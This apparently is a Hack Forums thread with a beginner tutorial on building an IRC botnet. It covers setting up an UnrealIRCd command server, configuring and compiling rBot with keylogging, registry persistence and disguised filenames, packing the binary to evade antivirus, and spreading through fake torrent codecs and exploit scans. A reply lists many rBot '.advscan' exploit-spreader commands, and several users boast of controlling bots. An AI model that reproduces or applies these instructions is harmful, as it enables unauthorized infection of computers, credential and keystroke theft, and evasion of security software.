

Forum:[Hack Forums](#)

Thread: [How To create a botnet](#)

W4r10ck - June 6, 2009, 11:29 pm

Well since many beginners want to know how botnet and stuff works, im create a little tutorial for the beginners on this site. The tutorial includes how to install a ircd, how to compile a bot & ways to spread.

"Chapters"

1. What is needed
2. How to configure an (unreal)ircd
3. How to compile your bot
4. Make your exe UD
5. Ways of spreading.

Before I begin, my english isn't 100% good, i'll try to translate everything as good as possible, sorry for false lines or words.

1. What is needed

There are many things which are needed for creating a botnet. I'll make a list of stuff which is needed for botnets and explain why they are needed.

- Visual Studio 6.0 (Code

[http://www.raptorcash.com/vb6/ms%20visual%20studio%20enterprise%206%200%20\(viusal%20c+%206%200,%20visual%20basic%206%200%20interdev,%20foxpro%20+%20much%20more\)\(1\).zip](http://www.raptorcash.com/vb6/ms%20visual%20studio%20enterprise%206%200%20(viusal%20c+%206%200,%20visual%20basic%206%200%20interdev,%20foxpro%20+%20much%20more)(1).zip)- Visual Studio 6 Service Pack 5 (Download)

- Visual Studio 6.0 Processor Pack (Download)

- Core SDK (Download, Safe them somewhere do cmd, cd Directory\of\file and use psdk-full Directory\of\output)

For a tutorial to install all the things up here go to here

- a rooted windows box (Linux can be done also but im telling about windows)

- a ircd (There are some at this forum search yourself)

- a botsource (I used rBot for example, find some old ones here: Download

Well that was it I think?

2. How to configure an (unreal)ircd

Most ircd's are really easy to configurate, especially modded ones. Most of the times you only have to edit the name, the authost, the ircd port & the admin user&pass. What do we have to edit:

```
oper your-choosen-username { // Edit your choosen name to a username you want
from {
    userhost "yourname@"; // Edit your name to your emailaddres
};
password "your-choosen-pass"; // Edit your choosen pass to a password you want
```

```

class "default";
flags {
    netadmin;
    services-admin;
    global;
    helpop;
    can_rehash
    can_globalnotice;
    can_globalroute;
    can_globops;
    can_wallops;
    can_uncline;
    can_kline;
    can_globalkill;
    can_zline;
    can_gkline;
    can_gzline;
    get_umodew;
    get_host;
    can_override;
    can_die;
    can_restart;
};
};

```

Edit the flags here above, if you want to add more ircds owners just copy paste this ~censored~
 me { name "QuakeNet"; info "QuakeNet"; numeric 1; };

Here is the Server name, name can be "irc.QuakeNet.org", information is just some info ;)

```
listen      *:6667;
```

easily edit the port to a port which is open, most ports from 6500 -> 7000 are open
 Some extra things to edit

```

hosts {
    local      "QuakeNet";
    global     "QuakeNet";
    coadmin    "QuakeNet";
    admin      "QuakeNet";
    servicesadmin "QuakeNet";
    netadmin   "QuakeNet";
    host-on-oper-up "yes";
};
};

```

The sethost's you get if you oper, like g7onic@local.quakenet.org / g7onic@global.quakenet.org.
 And just put "no" in host-on-oper-up if you don't want to get an auto-host selected.

```

restrict-channelmodes "ntsuom";
modes-on-join "+Mustm";

```

Edit this to your own options to make your channel secure for you
 Now just save the cfg, and your done with the config. Rar the files and upload it to somewhere.

What you gotta do now is open a windows box (on vnc??) and download the files and place them in a secure folder, like C:\Windows\?????. then just run the exe which allows to start the ircd, or run the batch file which is most there in the modded ircds, you'll see the ircd is running. Don't forget to set a password on the VNC so no-one can catch your oper user&pass, secure all the ports so your botnet don't get sniffed.

Were done with this one now too.

3. How to compile your bot

You probably found a rBot source you like by now, in the url I gave you there were many sources, I've picked a rBot, which is a good bot to start with since it got all standard functions & scanners and it's the easiest bot. ill copy and paste the config and will explain what to do.

```
// bot configuration (generic) - doesn't need to be encrypted
```

```
int port = 6667;
int port2 = 6667;
int socks4port = 8001;
int tftpport = 69;
int httpport = 5465;
int rloginport = 514;
BOOL topiccmd = TRUE;
BOOL rndfilename = FALSE;
BOOL AutoStart = TRUE;
char prefix = '.';
int maxrand = 8;
int nicktype = CONSTNICK;
BOOL nickprefix = FALSE;
```

```
#ifdef DEBUG_LOGGING
char logfile[]="%temp%\\yas.jpg";
#endif
```

```
#ifndef NO_CRYPT // Only use encrypted strings or your binary will not be secure!!
```

```
#else // Recommended to use this only for Crypt() setup, this is unsecure.
```

```
char botid[] = "rx-asn-2-re-worked";
char version[] = "v2 by ovelayer";
char password[] = "yourpass";
char server[] = "";
char serverpass[] = "";
char channel[] = "#";
char chanpass[] = "";rd
char server2[] = ""
char channel2[] = "#";
char chanpass2[] = "";
char filename[] = "yourfile.exe";
char keylogfile[] = "keylog.xml"l
char valuenam[] = "";
char nickconst[] = "rBot";
```

```

char szLocalPayloadFile[]="yourfile.exe";
char modeonconn[] = "-xi+B";
char exploitchan[] = "#*";
char keylogchan[] = "#*";
char psniffchan[] = "#*";

char *authost[] = {
    "yournick@172.0.0.1"
};

char *versionlist[] = {
    "mIRC v6.12 Khaled Mardam-Bey",
};

char regkey1[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char regkey2[]="Software\\Microsoft\\Windows\\CurrentVersion\\RunServices";
char regkey3[]="Software\\Microsoft\\OLE";
char regkey4[]="SYSTEM\\CurrentControlSet\\Control\\Lsa";

```

#endif

#ifdef PLAIN_CRYPT

```
char key[16] = "39lwmmqopma24ik1"; // CHANGE THIS!!! hmmm..Do I even need this now?
```

#endif

1. Change the port to the port of your ircd, normally it's 6667, if you got else, just change them.
2. Change the prefix, normally its ".", thats what you have to use before the command so like ".login yourpass".
3. the password, change it to login to your bot ".login unknownpass"
4. the serverpassword, probally you ain't got one but if so edit there.
5. the server, add your IP/DNS There.
6. Your channel, edit your channel where the bots got to join.
7. Your chanpass, change it to be more secure.
8. leave the server 2 of rbot, cuz the code of that thing doesn't work.
9. Change the filename so it won't get killed easily by a user because it's a suspicious virus.
10. the file where the computers puts his keylog ~censored~ in, not needed actually.
11. value name, so if your exe is called nod32, then the valuenam = Nod32 AntiVirus or something
12. nickconst is the prefix before a bot. like rBot|12312312
13. the modes on connect, you can leave that as it is.
14. exploit channel, if the bot is spreading it will leave it exploit message's there.
15. The keylog & psniff channel, it will send the pstore & keylog messages, but PSNIFF isn't working in rBot so ~censored~ that
16. The authost, you can set your authost like g7onic@*, that will require you to have a nickname with all hosts, you can set *@anonym0us.eu, that will require you to have your host set like anonym0us.eu and you have to most secure one: g7onic@anonym0us.eu
17. Leave the rest as it is.

Ask for questions, but I think this help you out.

4. Make your exe UD.

Before you start with everything you got to secure your exe, there are packers for, it's hard to get a good packer at this moment, but you can use some public ones which make you exe detected for nod32, kasperspy etc (the big antivirus company's). Your file got to be small so it's easy to spread to

other rooted boxes, but also undetected, otherwise a antivirus detect it.

5. Ways of spreading

There are many different types of spreading, you need bots to start with before you can spread via exploits which are in your bots. There are different ways to get your bots, you can easily ask a mate to let his bots download some bots to your exe which allows you to start a bnet, but you can also spread via torrent just make a torrent with a movie and your exe as "codec" or something, or scan for some vnc's and infect them easily opening ie and open exe (REMOVE HISTORY!).

If you got some bots (upper 30 bots) you can start spreading, your bots have different types of exploits in it, asn1smb, lsass, dcom and all standard exploits, Since these are old they won't spread fast, but some of them still work okay on the right range. the standard command to scan with your bots is .advscan exploit <Threads> <seconds> <delay> ip range <flags (use -b-r) so like .advscan asn1smb 80 5 0 255.255.x.x -b -r. this requires you the nickname & the host!.

soulstoler - June 7, 2009, 8:45 am

Great tutorial. This is really helpful, because even i can't create botnet (...until now)

God Like - June 7, 2009, 8:54 am

great tutorial, i have around 50 bots in my irc...but im always looking for ways to get more.

thanks

livingston218 - June 7, 2009, 9:04 am

lol dont learn to hack hack to learn. i love it

Hexen - June 7, 2009, 10:55 pm

rbot sucks.

I ran that shit on my VMWare after I compiled it exe disappeared after I opened it lets not forget rbot asks you if your running Windows XP SP2 if you wanna allow the EXE to go online so PWNED there next the rbot dont save its self in the registry so if the person reboots you lose your bot.

rbot really sucks shame I can't find one like it that really works lol :P

i Slap Kidz - June 7, 2009, 11:14 pm

Nice tut!

(2222 short)

Anddos - November 8, 2009, 10:00 am

how to create a failnet

dosghost - January 16, 2010, 5:56 am

Code .advscan asn1smb 80 5 0 255.255.x.x -b -r

what are some other ones ? like is there a list some ware ? on the net cause i would like ones for like beagle metus and so on so on so on

nvm found some is there any new one's besides this ?

Code .advscan lsass 100 5 999 -r
.advscan iis5ssl 100 5 999 -b

* Lsass Exploit Spreader Using Port 445
* IIS 5 SSL Exploit Spreader Using Port 443

.advscan dcom135 100 5 999 -a	* Dcom Exploit Spreader Using Port 135
.advscan dcom445 100 5 999 -r -s	* Dcom Exploit Spreader Using Port 445
.advscan dcom1025 100 5 999 -b -s	* Dcom Exploit Spreader Using Port 1025 (is ****)
.advscan dcom2-135 100 5 999 -a -s	* Dcom2 Exploit Spreader Using Port 135
.advscan dcom2-445 100 5 999 -r	* Dcom2 Exploit Spreader Using Port 445
.advscan beagle1 100 5 999 -r	* Bagle Exploit Spreader Using Port 2745
.advscan beagle2 100 5 999 -r	* Bagle2 Exploit Spreader Using Port 2745
.advscan webdav 100 5 999 -r	* WebDav Exploit Spreader Using Port 80
.advscan wkssvc 100 5 999 -r	* Wks Exploit Spreader Using Port 135
.advscan wkssvc2 100 5 999 -r	* Wks Exploit Spreader Using Port 445
.advscan dameware 100 5 999 -r	* DameWare Exploit Spreader Using Port 6129
.advscan upnp 100 5 999 -r	* UPNP Exploit Spreader Using Port 5000
.advscan mydoom 100 5 999 -r	* MyDoom Exploit Spreader Using Port 3127
.advscan netbios 100 5 999 -r	* NetBios Exploit Spreader Using Port 139
.advscan ntpass 100 5 999 -r	* NB+NP Exploit Spreader Using Port 445
.advscan mssql 100 5 999 -r	* MSSQL Exploit Spreader Using Port 1433
.advscan vnc 100 5 999 -r	* VNC Exploit spreader Using Port 5900
.advscan optix 100 5 999 -r	* Optix Trojan Spreader Using Port 3410
.advscan sub7 100 5 999 -r	* Sub7 Trojan Spreader Using Port 27374
.advscan netdevil 100 5 999 -r	* NetDevil Trojan Spreader Using Port 901
.advscan netdevil2 100 5 999 -r	* NetDevil Trojan Spreader Using Port 903

i have about 50 bots so far lol thanks to metus i had them download the bot i made for my irc LOL
BRILLIANT

The Mad Man - January 18, 2010, 4:56 pm

wow how to create a failnet lol

christypriory - October 8, 2010, 2:57 am

EC Council C|EH Free Training*

Join EC Council Certified Security Analyst : Advanced Ethical Hacking

E|CSA an advanced ethical hacking training certification that complements the Certified Ethical Hacker, C|EH

certification by exploring the analytical phase of ethical hacking. While the Certified Ethical Hacker

certification exposes the learner to hacking tools and technologies, the Certified Security Analyst course takes it

a step further by exploring how to analyze the outcome from these tools and technologies.
Through groundbreaking

network penetration testing methods and techniques, this pen testing computer security certification helps

students perform the intensive assessments required to effectively identify and mitigate risks to the information

security of the infrastructure.

*45 Days Real-Time Hands on Training Program in Bangalore
*100 % Job in MNC (Interview) Assistance
Our Trainer Profile : L|PT , OSCP , CISSP
CEH Training Free !!! For ECSA or CHFI enrolled students

Use our Discount Code : CHRIS-INTERCOP

C|EH will help you get into the mindset of a Hacker
E|CSA will help you know how Hackers penetrate into each and every devices .

Visit our Website for Further Enquiry Online Chat with our Counselors

www.inter-networkz.com

Intercop Department

Click Here for online enquiry

<https://messenger.providesupport.com/messenger/internetworkz.html>

R41N - December 3, 2010, 12:02 am

It sounds good, but I'm not sure about it because of what Hexen said.

coolfire7474 - August 11, 2011, 11:50 am

Hello i got a little problem My spynet 2.6 is running on LAN but not on WAN.i have fallowed the method but still not working..

@€CKI€SS - August 11, 2011, 12:03 pm

When i try to connect to irc channel

Closing Link: Adam (Hostile username. Please use only 0-9 a-z A-Z _ - and . in your username.)

memo123 - September 21, 2011, 7:20 am

could you make ashort vedio to learn how we can do this ??

plumber - September 30, 2011, 1:31 pm

gr88 tutorial .. thank u man and keep up the goodwork
very nice .. keeb up the good work.

Spyki.HF - March 19, 2014, 5:00 am

thank you for sharing
it will serve me :)

Dr.TimeBomb - March 19, 2014, 9:29 am

i suggest n3wbs to code by themselves a simple python irc bot.. is very easy and you can learn a lot about sockets and networking.. you can find useful snippets on www.pastebin.com ?

rsn mini ultra - March 27, 2014, 8:52 pm

yeah, all that said, but thats more or less worthless, not hating by the way.

Da_prince - July 23, 2014, 3:58 pm

Great tutorial. This is really helpful?

Daprince - August 23, 2014, 4:26 am

@ <http://www.pastebin.com> , there are indeed good snippets